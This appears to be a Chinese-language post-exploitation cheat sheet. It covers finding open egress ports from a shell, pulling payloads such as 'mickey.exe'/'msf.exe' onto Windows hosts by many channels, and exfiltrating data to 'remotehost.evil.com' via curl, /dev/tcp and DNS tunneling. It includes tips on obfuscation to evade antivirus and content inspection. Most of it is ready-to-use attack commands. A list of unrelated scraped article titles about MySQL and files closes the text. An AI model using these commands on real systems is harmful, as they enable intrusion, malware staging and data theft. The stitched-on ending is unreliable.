Windows

1.判断什么端口能出来

有时候有防火墙,你也不知道哪个端口能出来,你只有SHELL,咋判断什么端口能出来呢?如果你是在WIN VISTA以下版本,那么用下面的命令可以啦

FOR /L %i IN (1,1,65535) DO (cmd /c "start /b telnet 1.2.3.4 %i")

用TELNET不停的连接你的1-65535端口,你本地开个TCPDUMP就行了,如果连通了,就OK了.

如果TCP封锁了,可以用UDP

FOR /L %i IN (1,1,65535) DO (cmd /c "start /b nslookup -port=%i wooyun.org 1.2.3.4")

这个就更慢了,但是有效,其中的wooyun.org是你可以设置自己的动态域名

如果是VISTA以后的版本,自带有POWERSHELL:

下面分别是走TCP和UDP的

function sT($IP,$Port) {$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint $address, $port;$Saddrf = [System.Net.Sockets.AddressFamily]::InterNetwork;$Stype = [System.Net.Sockets.SocketType]::Stream;$Ptype = [System.Net.Sockets.ProtocolType]::TCP;$Sock = New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;try { $sock.Connect($End);[Byte[]] $Message = [char[]]"w00tw00t";$Sent = $Sock.Send($Message);$sock.EndConnect($Connect)} catch {};$Sock.Close();};1..65535 | %{ sT -IP "1.2.3.4" -Port $_ }

function sU($IP, [int]$Port){$Address = [system.net.IPAddress]::Parse($IP);$End = New-Object System.Net.IPEndPoint($Address, $port);$Saddrf=[System.Net.Sockets.AddressFamily]::InterNetwork;$Stype=[System.Net.Sockets.SocketType]::Dgram;$Ptype=[System.Net.Sockets.ProtocolType]::UDP;$Sock=New-Object System.Net.Sockets.Socket $saddrf, $stype, $ptype;$Sock.TTL = 26;$sock.Connect($end);$Enc=[System.Text.Encoding]::ASCII;$Message = "w00tw00t";$Buffer=$Enc.GetBytes($Message);$Sent=$Sock.Send($Buffer);}; 1..65535 | %{ sU -IP "1.2.3.4" -Port $_ }

2.WIN下传文件

如果是VISTA以下版本,可以用TFTP/FTP/TELNET,这个网上文章很多的了,另外如果你搞的是国外的,不要忘记SMB,如果能走HTTP的80,可以用VBS的ADODB.Stream来下载,不过这个已经被很多杀毒软件杀了,编写的时候编码混淆下就行了.但不保证能过主动防御,还是少用,另外zzzEVAzzz的那个Any2Bat可以直接传文件,就是体积有限制,不能传太大的文件,传小马的话应该可以了.如果能走80的话,还可以尝试下WEBDAV,WIN Vista以后就方便了,直接用内建命令bitsadmin就行了

使用ADODB.Stream来传文件

code 1:

Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") : objXMLHTTP.open "GET", "http://192.168.1.43/mickey.exe", false : objXMLHTTP.send() : Set objADOStream = CreateObject("ADODB.Stream") : objADOStream.Open : objADOStream.Type = 1 : objADOStream.Write objXMLHTTP.ResponseBody : objADOStream.Position = 0 : Set objFSO = Createobject("Scripting.FileSystemObject") : objADOStream.SaveToFile "C:\msf.exe":objADOStream.Close

code 2:

function HTTPGetDownload(url, file) {

var http = new ActiveXObject("WinHttp.WinHttpRequest.5.1");

http.open("GET", url);

http.send();

var stream = new ActiveXObject("ADODB.Stream");

stream.type = 1;

stream.open();

stream.write(http.responseBody);

stream.saveToFile(file,2); }

HTTPGetDownload("http://1.2.3.4/mickey.exe", "mickey.exe");

使用bitsadmin来传文件:

code 3:

bitsadmin /rawretrun /transfer getfile http://pentest.cc/mickey.exe c:\mickey.exe

走UDP的TFTP:

code 4:

tftp –i 1.2.3.4 GET mickey.exe

使用FTP:

code 5:

echo open 1.2.3.4 > x&echo user 2 2 >> x &echo get mickey.exe >> x &echo quit >> x &ftp -n -s:x

使用TELNET:

情景假设,我是LINUX要传文件到WIN上去

首先我在本地的LINUX上用NC执行

nc -lvp 23 < mickey.txt

然后我在WIN上执行

telnet 我的LINUX主机的IP -f c:\mickey.txt

这样就把我linux主机上的mickey.txt文件拷贝到win主机的c盘下了

使用SMB传送文件:

情景假设,我是LINUX要传文件到WIN上去

首先我在本地的LINUX上配置好SAMBA服务

nano /etc/samba/smb.conf

[hack]

comment = File Server Share

path = /tmp/

browseable = yes

writable = yes

guest ok = yes

read only = no

create mask = 0755

service samba start

然后我在WIN上执行

C:\>net use z: \\192.168.10.80\hack

copy z:\mickey.exe C:\mickey.exe

通过WEBDAV来传文件:

net use o: "http://192.168.200.18/uploads"

copy z:\mickey.exe C:\mickey.exe

也可以走HTTPS

net use o: "https://192.168.200.18/uploads"

但是需要在主机上开启WebClient服务,才能成功

net start WebClient

Linux

当我们想要把一个服务器里面的数据打包备份到另一个服务器的时候,这些命令可能会有帮助。

1.tar over ssh

一边tar一边通过ssh传到服务器并且自动解压缩,最后会得到远程服务器上文件夹的一份完美备份,并且在目标服务器上不会写入任何文件。

tar zcf - /some/localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"

2. rsync over ssh

通过ssh隧道同步,要求是本地服务器要安装了rsync

rsync -aH localhost remotehost.evil.com:/some/path/name

假如ssh默认的22端口被封,那么你可以用ssh -p 或者 rysnc --port指定端口,比如可以把ssh服务器开到80或者443端口。

如果连SSH协议都被封了呢,怎么换端口都没用怎么办?别怕,我们可以把数据通过https发送:

tar zcf - localfolder | curl -F "data=@-" https://remotehost.evil.com/script.php

curl -F 表示通过伪表单用Post方式发送数据

当然,你还要在本地建一个script.php用来收取数据然后写入到文件才行,并且web服务器要支持ssl并且有https证书。

不过curl在很多linux发行版里面都没有默认安装,所以还是有时候还是不太靠谱。

那么现在不能用ssh也不能用curl,那怎么办?

直接通过tcp发送

tar zcf - localfolder >/dev/tcp/remotehost.evil.com/443

大家看这个方式是不是有点眼熟?没错,就是和弹shell的方法差不多,只不过这次我们用来传送文件。

效果和用nc传文件是一样的。假如远程服务器和网络还有内容检测的话,我们还可以对文件进行一些编码来混淆,比如用xxd命令转换成16进制 dump

tar zcf - localfolder | xxd -p >/dev/tcp/remotehost.evil.com/443

本地服务器可以用xxd -r来还原源文件

其实除了xxd,用 base64也不错,就是有点明显……

更奇葩的方法,用DNS来传送数据:

tar zcf - localfolder | xxd -p -c 16 |

while read line; do host $line.domain.com remotehost.evil.com; done

把打包后的数据用16进制编码,每行16字节,这样在通过dns发送到时候就不会因为超长导致出错。然后我们限制每次只发送1个ping数据包,减少发送时间。至于怎么还原,那就要看你的了。

远程读取mysql_远程获取数据库和文件的方法相关推荐

  1. springboot-项目获取resources下文件的方法

    spring项目获取resources下文件的方法 最近写读取模板文件做一些后续的处理,将文件放在了项目的resources 下,发现了一个好用的读取方法: 比如上边是你需要读取的文件: 读取的方法如 ...

  2. react中使用jszip获取压缩包里文件的方法、Blob与Flie之间的转换

    react中jszip获取压缩包里的文件方法: // react里通过npm install jszip安装 import JSZip from 'jszip'const zip = new JSZi ...

  3. 读取Assets中的数据库 .db文件

    示例图 现在要进行读取xcz1.db 中的 数据那么读取数据之前要知道表明字段名,如果知道直接绕过 1   看   导航2  . 1    在不知道的情况下我们可以使用工具 Navicat Premi ...

  4. java读取mysql数据库配置文件_java读取properties文件的方法

    Java 读写Properties配置文件 Java 读写Properties配置文件 1.Properties类与Properties配置文件 Properties类继承自Hashtable类并且实 ...

  5. mysql导入数据库dmp文件怎么打开_20181112-PostgreSQL数据库dmp文件导入(记录一次数据导入)...

    20181112-PostgreSQL数据库dmp文件导入 标注:dmp文件导入,场景:多个schema导入 1. 环境准备: postgres集群master节点上,postgres用户执行以下操作 ...

  6. 注意!!!获取数据库服务器主机ip

    ---------------------正确方法----------------------------------------------- SQL> conn / as sysdba Co ...

  7. php7 数据库查询结果,php如何获取数据库查询结果

    php获取数据库查询结果的方法:可以利用mysqli_fetch_array()函数来获取.mysqli_fetch_array()函数可以从数据库查询结果集中取得一行作为数组,例如[mysql_qu ...

  8. SQL Server 数据库清除日志的方法

    方法一: 1.打开查询分析器,输入命令  BACKUP LOG database_name WITH NO_LOG  2.再打开企业管理器--右键要压缩的数据库--所有任务--收缩数据库--收缩文件- ...

  9. oracle数据文件移动方法

    oracle数据库数据文件移动方法小结 转载于:https://blog.51cto.com/7997991/1842580

  10. 远程网络读取服务器文件是否存在,远程读取服务器文件是否存在

    远程读取服务器文件是否存在 内容精选 换一换 使用vi编辑器打开"/etc/default/grub",按如下要求修改参数:GRUB_CMDLINE_LINUX参数为console ...

最新文章

  1. 我有一个顶会idea还没做实验,NeurIPS:先占坑再实验!
  2. 以get方式传递json字符串问题。
  3. xampp mysql mac_如何在mac上用终端打开XAMPP自带的MySQL
  4. [2DPIC调试笔记]parameter_antenna_radiation1013(3)
  5. 宁滨院士生前最后一场学术报告
  6. 炒菜机器人放食材的顺序_如果给你个做饭机器人,你会让它做些什么饭菜?
  7. 用python求期望_Python——EM(期望极大算法)教学(附详细代码与注解)
  8. 深入理解JVM之对象分配流程
  9. 个性化推荐中的数据稀疏性
  10. 2021年中国动物血浆制品及其衍生物市场趋势报告、技术动态创新及2027年市场预测
  11. spring数据源配置
  12. 2021计算机考研复试攻略(2020复试经验总结)
  13. 华三OSPF多区域配置实例
  14. 机器学习Numpy库入门25例
  15. 一款简洁的导航网源码
  16. TcaplusDBX光与夜之恋 | 与众不同的真实恋爱
  17. rdesktop安装教程
  18. 体育视野杂志体育视野杂志社体育视野编辑部2022年第5期目录
  19. 不是每个音乐节都值得狂欢,抖音就不一样
  20. win7分区c盘调整容量_C盘如何瘦身减重,硬盘合并。

热门文章

  1. \t\t使用Google APP Engine 完成个人代理服务器架设
  2. Maven的依赖(Dependency)
  3. unity 游戏版本更新插件
  4. 《简明python教程》沈洁元
  5. 微信支付开发之APP支付介绍及业务流程
  6. android 判断手机计步_Android_基于G-Sensor的计步算法
  7. 一文读懂模拟电路和数字电路之间的区别和联系
  8. 解决戴尔电脑禁用无线网络问题
  9. 有效软件测试 - 50条建议 - 需求阶段
  10. Java太阳系行星运动模型